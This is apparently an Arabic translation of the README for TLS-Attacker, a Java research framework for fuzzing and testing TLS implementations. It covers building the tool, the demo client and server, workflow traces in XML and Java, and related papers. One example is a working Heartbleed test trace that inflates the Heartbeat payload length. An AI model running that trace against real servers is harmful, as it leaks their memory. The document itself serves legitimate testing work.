
TLS-Attacker v7.0.0-rtc
إطار عمل قائم على جافا للتشويش المنهجي وتحليل مكتبات TLS. يتيح صياغة رسائل البروتوكول بشكل تعسفي، وتعديلها، واختبار عملاء/خوادم TLS لاكتشاف الثغرات الأمنية.
TLS-Attacker
TLS-Attacker هو إطار عمل مبني على Java لتحليل مكتبات TLS. يمكنه إرسال رسائل بروتوكول عشوائية بترتيب عشوائي إلى النظير TLS، وتحديد تعديلاتها باستخدام واجهة موفرة. وهذا يمنح المطور فرصة سهلة لتعريف تدفق بروتوكول TLS مخصص واختباره مقابل مكتبة TLS الخاصة به.
يرجى ملاحظة: TLS-Attacker أداة بحثية مخصصة لمطوري TLS ومختبرين الاختراق. لا توجد واجهة رسومية ولا أضواء خضراء/حمراء.
التجميع والتشغيل
للتجميع واستخدام TLS-Attacker، يجب أن يكون لديك Java و Maven مثبتين. على Ubuntu يمكنك تثبيت Maven عن طريق تشغيل:
$ sudo apt-get install maven
TLS-Attacker يحتاج حالياً إلى Java JDK 21 للتشغيل.
إذا كان لديك إصدار Java الصحيح، يمكنك تشغيل أمر maven من دليل TLS-Attacker:
$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install
بدلاً من ذلك، إذا كنت في عجلة من أمرك، يمكنك تخطي الاختبارات باستخدام:
$ mvn clean install -DskipTests=true
يتم وضع ملفات jar الناتجة في مجلد "apps".
إذا كنت ترغب في استخدام هذا المشروع كاعتماد، لا تحتاج إلى تجميعه بنفسك ويمكنك تضمينه في pom.xml الخاص بك على النحو التالي.
<dependency>
<groupId>de.rub.nds.tls.attacker</groupId>
<artifactId>tls-attacker</artifactId>
<version>7.0.0</version>
<type>pom</type>
</dependency>
يأتي TLS-Attacker مع تطبيقات توضيحية توفر لك وصولاً سهلاً إلى وظائف TLS-Attacker.
يمكنك تشغيل TLS-Attacker كعميل بالأمر التالي:
$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]
أو كخادم بـ:
$ java -jar TLS-Server.jar -port [port]
على الرغم من أن هذه التطبيقات النموذجية قوية بذاتها، إلا أن TLS-Attacker يطلق العنان لإمكاناته الكاملة عند استخدامه كمكتبة برمجية.
هيكل الكود
يتكون TLS-Attacker من عدة مشاريع (maven):
- TLS-Client: تطبيق العميل النموذجي
- TLS-Core: حزمة البروتوكول وقلب TLS-Attacker
- TLS-Mitm: نموذج أولي لسير عمل MitM
- TLS-Server: تطبيق الخادم النموذجي
- TLS-Proxy: استخدام TLS-Attacker لـ SSLSockets
- TraceTool: فحص وتعديل تتبع سير عمل TLS-Attacker
- Transport: أدوات النقل للطبقات السفلية
- Utils: مجموعة من الفئات المساعدة

يمكنك العثور على مزيد من المعلومات حول هذه الوحدات في الويكي.
الميزات
حالياً، الميزات التالية مدعومة:
- SSL 3، إصدارات TLS 1.0 (RFC-2246)، 1.1 (RFC-4346)، 1.2 (RFC-5246)، و 1.3 (RFC-8446)
- SSL 2 (مدعوم جزئياً)
- خوارزميات تبادل المفاتيح (EC)DH(E)، RSA، PSK، SRP، GOST و ANON
- تشفير CBC، AEAD و Streamciphers (AES، CAMELLIA، DES، 3DES، IDEA، RC2، ARIA، GOST_28147_CNT_IMIT، RC4، SEED، NULL)
- ~300 مجموعة تشفير، ~30 امتداد
- عميل وخادم
- HTTPS
- سير عمل بأكثر من طرفين
- الكثير من الامتدادات
- Tokenbinding (EC) و Tokenbinding عبر HTTP
- مقابس (Sockets)
- TLS 1.3 0-RTT
- STARTTLS
- ...
الاستخدام
نقدم هنا بعض الأمثلة البسيطة جداً على استخدام TLS-Attacker.
أولاً، تحتاج إلى بدء خادم TLS (يرجى عدم استخدام خوادم عامة). يرجى تشغيل script keygen.sh إذا لم يتم ذلك من قبل. على سبيل المثال، يمكنك استخدام خادم اختبار OpenSSL:
$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem
يبدأ هذا الأمر خادم TLS على المنفذ 4433.
إذا كنت ترغب في الاتصال بخادم، يمكنك استخدام هذا الأمر:
$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433
ملاحظة: إذا فشلت هذه المصافحة، فغالباً لأنك لم تحدد مجموعة تشفير محددة. TLS-Attacker لن يحترم بالكامل مجموعات التشفير التي يختارها الخادم.
يمكنك استخدام مجموعة تشفير مختلفة، إصدار TLS مختلف، أو الاتصال بمنفذ مختلف بالمعاملات التالية:
$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11
إذا كنت مطوراً أكثر خبرة، يمكنك إنشاء تدفق رسائل TLS الخاص بك عن طريق كتابة كود Java. على سبيل المثال:
Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();
يستخدم TLS-Attacker مفهوم WorkflowTraces لتعريف "تدفق رسائل TLS". يتكون WorkflowTrace من قائمة إجراءات يتم تنفيذها واحداً تلو الآخر. على الرغم من أن تدفق رسائل TLS النموذجي يحتاج فقط إلى SendAction و ReceiveAction، إلا أن الإطار لا يتوقف عند هذا الحد ويطبق الكثير من الإجراءات الأخرى المختلفة التي يمكن استخدامها لتنفيذ تدفقات رسائل أكثر تعسفاً. يمكن العثور على قائمة بالإجراءات المطبقة حالياً مع الشروحات في الويكي.
نعلم أن الكثير منكم يكرهون Java. لذلك، يمكنك أيضاً استخدام هيكل XML وتشغيل بروتوكول TLS المخصص من XML:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
<!-- Send ClientHello -->
<Send>
<configuredMessages>
<ClientHello>
<extensions>
<ECPointFormat/>
<EllipticCurves/>
<SignatureAndHashAlgorithmsExtension/>
<RenegotiationInfoExtension/>
</extensions>
</ClientHello>
</configuredMessages>
<configuredRecords>
<record/>
</configuredRecords>
</Send>
<!-- Receive server response -->
<Receive>
<expectedMessages>
<ServerHello>
<extensions>
<ECPointFormat/>
<RenegotiationInfoExtension/>
</extensions>
</ServerHello>
<Certificate/>
<ServerHelloDone/>
</expectedMessages>
</Receive>
<!-- Send client key exchange and finish -->
<Send>
<configuredMessages>
<RSAClientKeyExchange/>
<ChangeCipherSpec/>
<Finished/>
</configuredMessages>
<configuredRecords>
<record/>
<record/>
<record/>
</configuredRecords>
</Send>
<!-- Receive server finish -->
<Receive>
<expectedMessages>
<ChangeCipherSpec/>
<Finished/>
</expectedMessages>
</Receive>
</workflowTrace>
بالنظر إلى أن هذا الهيكل XML موجود في TLS-Attacker/apps/workflow.xml، ستحتاج فقط لتنفيذ:
$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml
نظام المهاجم/الطبقات (Protocol-Attacker/Layer System)
مصمم في الأصل لمهاجمة بروتوكول TLS، TLS-Attacker قادر على دعم بروتوكولات عشوائية. لتحقيق ذلك، يعيّن TLS-Attacker حزمة طبقات لكل اتصال. تتكون حزمة الطبقات هذه من طبقات البروتوكول المختلفة التي يرغب المستخدم في استخدامها. مع حزمة الطبقات، يمكن للمستخدم إضافة طبقات مثل DTLS، أو HTTP (المزيد قيد التطوير) بترتيب عشوائي.
لإرسال واستقبال رسائل عشوائية باستخدام حزمة الطبقات، يمكن للمستخدم تعريف إعدادات لكل طبقة. تحدد هذه الإعدادات الرسائل التي يجب إرسالها أو استقبالها. يتيح هذا أيضاً للمستخدم تحديد حاويات البيانات/الرسائل الخاصة بكل طبقة. على سبيل المثال، يمكن للمرء تحديد رسائل وسجلات TLS التي يجب على TLS-Attacker إرسالها. سيقوم TLS-Attacker بتغليف رسائل TLS المعطاة في السجلات تلقائياً.
المتغيرات القابلة للتعديل (Modifiable Variables)
يستخدم TLS-Attacker مفهوم المتغيرات القابلة للتعديل (Modifiable Variables) للسماح بالتعديلات وقت التشغيل على سير العمل المحدد مسبقاً. المتغيرات القابلة للتعديل تسمح بتعيين تعديلات على الأنواع الأساسية قبل أو بعد تعيين قيمها الفعلية. عندما يتم تحديد قيمها الفعلية ويحاول المرء الوصول إلى القيمة عبر getters، سيتم إرجاع القيمة الأصلية بشكل معدل وفقاً لذلك. يمكن العثور على مزيد من التفاصيل حول هذا المفهوم على https://github.com/tls-attacker/ModifiableVariable.
ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue()); // 50
في هذا المثال، قمنا بتعريف ModifiableInteger جديد ووضعنا قيمته 30. بعد ذلك، قمنا بتعريف تعديل جديد AddModification والذي ببساطة يعيد مجموع عددين صحيحين. وضعنا قيمته 20. إذا قمنا بتنفيذ البرنامج أعلاه، ستتم طباعة النتيجة 50.
يمكننا بالطبع استخدام هذا المفهوم في بناء سير عمل TLS الخاص بنا. تخيل أنك تريد اختبار خادم لثغرة Heartbleed. لهذا الغرض، تحتاج إلى زيادة طول الحمولة في طلب نبضات القلب (Heartbeat). مع TLS-Attacker، يمكنك القيام بذلك على النحو التالي:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
<Send>
<configuredMessages>
<ClientHello>
<extensions>
<ECPointFormat/>
<HeartbeatExtension/>
<EllipticCurves/>
</extensions>
</ClientHello>
</configuredMessages>
</Send>
<Receive>
<expectedMessages>
<ServerHello>
<extensions>
<ECPointFormat/>
</extensions>
</ServerHello>
<Certificate/>
<ServerHelloDone/>
</expectedMessages>
</Receive>
<Send>
<configuredMessages>
<RSAClientKeyExchange>
<computations/>
</RSAClientKeyExchange>
<ChangeCipherSpec/>
<Finished/>
</configuredMessages>
</Send>
<Receive>
<expectedMessages>
<ChangeCipherSpec/>
<Finished/>
</expectedMessages>
</Receive>
<Send>
<configuredMessages>
<Heartbeat>
<payloadLength>
<modifications>
<integerExplicitValueModification>
<explicitValue>20000</explicitValue>
</integerExplicitValueModification>
</modifications>
</payloadLength>
</Heartbeat>
</configuredMessages>
</Send>
<Receive>
<expectedMessages>
<Heartbeat/>
</expectedMessages>
</Receive>
</workflowTrace>
كما ترى، قمنا بزيادة طول حمولة رسالة Heartbeat بشكل صريح بمقدار 20000. إذا قمت بتشغيل الهجوم ضد الخادم الضعيف (مثل OpenSSL 1.0.1f)، يجب أن ترى استجابة Heartbeat صالحة.
يمكن العثور على مزيد من الأمثلة على الهجمات وشروحات إضافية حول TLS-Attacker في الويكي.
الميزات المتقدمة
تتطلب بعض الإجراءات سياقاً أو إعدادات لتنفيذها بشكل صحيح. على سبيل المثال، إذا حاول TLS-Attacker إرسال رسالة ClientHello، فإنه يحتاج إلى معرفة القيم التي يجب وضعها في الرسالة، مثل مجموعات التشفير أو إصدار البروتوكول الذي يجب استخدامه. يسحب TLS-Attacker هذه المعلومات من ملف إعدادات (موجود افتراضياً في TLS-Core/src/main/resources/default_config.xml). القيم التي يتم تحديدها وقت التشغيل تخزن في TlsContext. عندما تكون قيمة يتم اختيارها عادة من السياق مفقودة (لأن رسالة لم تصل بعد)، يتم اختيار القيمة الافتراضية من Config. يمكنك تحديد ملف الإعدادات الخاص بك من سطر الأوامر باستخدام المعامل "-config". لاحظ أنه إذا لم تقم بتعريف قيمة افتراضية صراحة في ملف الإعدادات، يقوم TLS-Attacker بملء هذه الفجوة بقيم مثبتة في الكود (وهي مساوية للإعدادات الافتراضية المقدمة). يمكن العثور على مزيد من التفاصيل حول كيفية تخصيص TLS-Attacker في الويكي.
شكر وتقدير
نود أن نشكر كل من ساهم في مشروع TLS-Attacker.
شكر خاص للأشخاص التاليين على مساهماتهم البارزة:
Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke
نرحب بمزيد من المساهمات وطلبات السحب (pull requests).
الأوراق العلمية
المفاهيم الأساسية وراء TLS-Attacker والعديد من الهجمات موصوفة في الورقة التالية:
- Juraj Somorovsky. Systematic Fuzzing and Testing of TLS Libraries. ACM CCS'16. https://www.nds.rub.de/research/publications/systematic-fuzzing-and-testing-tls-libraries
أدناه، ندرج الدراسات العلمية الحديثة التي استخدمت TLS-Attacker. يمكنك العثور على القائمة الكاملة في الويكي
- Michael Scott. 2023. On TLS for the Internet of Things, in a Post Quantum world. https://eprint.iacr.org/2023/095
- Yong Wang, Rui Wang, Xin Liu, Donglan Liu, Hao Zhang, Lei Ma, Fangzhe Zhang, Lili Sun, and Zhenghao Li. 2023. A Framework for TLS Implementation Vulnerability Testing in 5G. In Applied Cryptography and Network Security Workshops, ACNS 2023 Satellite Workshop https://link.springer.com/chapter/10.1007/978-3-031-41181-6_16
- Diana Gratiela Berbecaru and Giuseppe Petraglia. 2023. TLS-Monitor: A Monitor for TLS Attacks. In 2023 IEEE 20th Consumer Communications & Networking Conference (CCNC). https://ieeexplore.ieee.org/document/10059989
- Paul Fiterau-Brostean, Bengt Jonsson, Konstantinos Sagonas, and Fredrik Tåquist. 2023. Automata-Based Automated Detection of State Machine Bugs in Protocol Implementations. In 30th Annual Network and Distributed System Security Symposium, NDSS 2023 https://www.ndss-symposium.org/ndss-paper/automata-based-automated-detection-of-state-machine-bugs-in-protocol-implementations/
- Sven Hebrok, Simon Nachtigall, Marcel Maehren, Nurullah Erinola, Robert Merget, Juraj Somorovsky, and Jörg Schwenk. 2023. We Really Need to Talk About Session Tickets: A Large-Scale Analysis of Cryptographic Dangers with TLS Session Tickets. In 32nd USENIX Security Symposium, USENIX Security 2023 https://www.usenix.org/conference/usenixsecurity23/presentation/hebrok
- Nurullah Erinola, Marcel Maehren, Robert Merget, Juraj Somorovsky, and Jörg Schwenk. 2023. Exploring the Unknown DTLS Universe: Analysis of the DTLS Server Ecosystem on the Internet. In 32nd USENIX Security Symposium, USENIX Security 2023 https://www.usenix.org/conference/usenixsecurity23/presentation/erinola
- Ka Lok Wu, Man Hong Hue, Ngai Man Poon, Kin Man Leung, Wai Yin Po, Kin Ting Wong, Sze Ho Hui, and Sze Yiu Chau. 2023. Back to School: On the (In)Security of Academic VPNs. In 32nd USENIX Security Symposium, USENIX Security 2023 https://www.usenix.org/conference/usenixsecurity23/presentation/wu-ka-lok
- Diana Gratiela Berbecaru and Antonio Lioy. 2024. Threat-TLS: A Tool for Threat Identification in Weak, Malicious, or Suspicious TLS Connections. In Proceedings of the 19th International Conference on Availability, Reliability and Security (Vienna, Austria) (ARES ’24) https://dl.acm.org/doi/10.1145/3664476.3670945
- Maximilian Radoy, Sven Hebrok, and Juraj Somorovsky. 2024. In Search of Partitioning Oracle Attacks Against TLS Session Tickets. In 29th European Symposium on Research in Computer Security (ESORICS) https://link.springer.com/chapter/10.1007/978-3-031-70896-1_16
- Martin Dunsche, Marcel Maehren, Nurullah Erinola, Robert Merget, Nicolai Bissantz, Juraj Somorovsky, and Jörg Schwenk. 2024. With Great Power Come Great Side Channels: Statistical Timing Side-Channel Analyses with Bounded Type-1 Errors. In 33rd USENIX Security Symposium, USENIX Security 2024 https://www.usenix.org/conference/usenixsecurity24/presentation/dunsche
إذا كانت لديك أي أفكار بحثية أو تحتاج إلى دعم، فلا تتردد في الاتصال بنا على تويتر (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) أو على https://www.hackmanit.de/.
إذا ساعدك TLS-Attacker في العثور على خطأ في تنفيذ TLS، يرجى الإشارة إلى هذه الأداة. شكراً لك!